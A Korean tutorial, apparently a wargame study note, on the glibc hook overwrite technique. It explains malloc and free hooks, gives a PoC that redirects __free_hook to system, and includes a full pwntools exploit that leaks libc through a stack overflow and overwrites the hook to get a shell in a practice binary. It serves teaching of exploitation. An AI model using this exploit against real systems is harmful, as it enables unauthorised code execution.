1. Introduction
Hook은 갈고리 라는 뜻이다.
이런 의미로 컴퓨터 과학에서는 운영체제가 어떤 코드를 실행하려고 할 때, 이를 낚아채서 다른 코드가 실행되게 하는 것을 Hooking이라고 하고, 이때 실행되는 코드를 Hook이라고 한다.
Hooking은 함수에 Hook을 심어 함수의 호출을 모니터링 하거나, 함수에 기능 혹은 아예 다른 코드를 심어서 실행 흐름을 변조할 수도 있다.
예를 들어, malloc이나 free에 훅을 설치하면 소프트웨어에서 할당하고, 해제하는 메모리를 모니터링할 수 있다.
이를 이용해, 모든 함수의 도입 부분에 모니터링 함수를 훅으로 설치하여 어떤 소프트웨어가 실행 중에 호출하는 함수를 모두 Tracing할 수도 있다.
Hook Overwrite는 훅의 특징을 이용한 공격 기법으로, malloc과 free함수를 후킹하여 각 함수가 호출될 때, 공격자가 작성한 악의적인 코드가 실행되게 하는 기법이다.
Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하므로, Full RELRO를 우회하는 기법으로 활용될 수 있다.
2. 메모리 함수 훅
2.1 malloc, free, realloc hook
C언어에서 메모리의 동적 할당과 해제를 담당하는 함수로는 malloc, free, realloc이 있다.
각 함수는 libc.so에 구현되어 있다.
malloc@@GLIBC
free@@GLIBC
realloc@@GLIBC
libc에는 이 함수들의 디버깅을 편하게 하기 위해 hook 변수가 정의되어 있다.
void *__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
}
2.2 훅의 위치와 권한
libc.so에 hook관련된 함수들이 정의되어 있다.
hook들은 bss 영역에 포함됨을 알 수 있다.
bss 영역은 쓰기가 가능하므로 이 변수들의 값은 조작될 수 있다.
2.3 Hook Overwrite
malloc, free, realloc에는 hook 변수가 존재한다.
libc의 bss 영역에 위치하고, 쓰기 권한이 있기에 덮어쓰기가 가능하다.
예를들어, free("/bin/sh")을 호출할 때, malloc_hook을 system 함수의 주소로 덮어 씌우면, system("/bin/sh")이 실행될 것이다.
#include <malloc.h>
#include <stdlib.h>
#include <string.h>
const char *buf="/bin/sh";
int main() {
printf("\"__free_hook\" now points at \"system\"\n");
__free_hook = (void *)system;
printf("call free(\"/bin/sh\")\n");
free(buf);
}
위의 코드를 보면, 훅을 덮는 공격이 가능한 PoC이다.
free_hook을 system 함수로 overwrite하고, free("/bin/sh")을 실행하자 shell을 획득한 것을 확인 할 수 있다.
3. Free Hook Overwrite
3.1 C code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
3.2 checksec
모든 보호기법이 걸려있다.
3.3 design
[1]번 부분에서 read에서 0x100만큼 받는다.
buf는 main stack frame에서 즉 rbp에서 0x40만큼 떨어져 있다.
그리고 main의 반환 주소인 libc_start_main이 있다.
그래서 buf에서 입력 받을 때, buf[40] + SFP[8]까지 입력 한 후
ret(반환 주소), 즉, libc_start_main 부분을 알아 낼 수 있다.
[1]번 부분에서 구한 libc_start_main (실제 주소)를 알아 냈으니, offset을 알아내서 libc_base를 알아낸다.
구한 libc_base로 libc에서 system의 offset, free_hook의 offset을 구해서
실제 매핑되는 함수들을 알 수 있다.
[2]번 부분에서 addr에 free_hook주소를 넣고,
그 후 바로 system 함수를 넣게 되면 된다.
이렇게 되면, free_hook 주소에 system 함수의 주소가 들어가게 되어
free 함수를 실행할 때, system함수가 실행이 된다.
이렇게 쓸 수 있는 이유는 .bss 영역에 쓰기 권한이 있기 때문이다.
[3]번 부분에서 이제 "/bin/sh"을 넘겨주면 shell이 실행될 것이다. (free의 인자가 addr, -> $rdi로 넘어감)
[1]번 부분에서 canary에 걸리지 않을까?
buf를 입력 받을 때, canary를 건드리게 되어서 canary 값이 변조가 된다.
하지만 return 이전에 이미 프로그램 stream이 system("/bin/sh")로 가기 때문, 즉, free(addr)에서 syste("/bin/sh")로 넘어가기 때문에,
canary 값이 변조가 되어도, ssp(Stack Smashing Protection)로 가지 않는다.
3.4 exploit
from pwn import *
p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search("/bin/sh"))
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()
4. one_gadget
one_gadget은 실행하면 셸이 획득되는 코드 뭉치이다.
예시
이런 식으로 libc에서 쉽게 execve("/bin/sh")을 실행하는 gadget(코드뭉치)을 쉽게 구할 수 있다.
5. 마치며
Hooking: 어떤 함수, 프로그램, 라이브러리를 실행하려 할 때 이를 가로채서 다른 코드가 실행되게 하는 기법. 디버깅, 모니터링, 트레이싱에 사용될 수 있다.
또한 공격자에 의해 키로깅이나 루트킷 제작에 사용될 수 있음.
Hook Overwrite: 바이너리에 존재하는 hook을 덮어써서 특정 함수를 호출할 때, 악의적인 코드가 실행되게 하는 공격 기법
메모리와 관련된 malloc,free,realloc 등의 함수가 라이브러리에 쓰기 가능한 hook 포인터를 가지고 있어 공격에 사용될 수 있음. Full RELRO를 우회하는 데 사용 가능
one_gadget: 실행하면 셸이 획득되는 코드 뭉치
Reference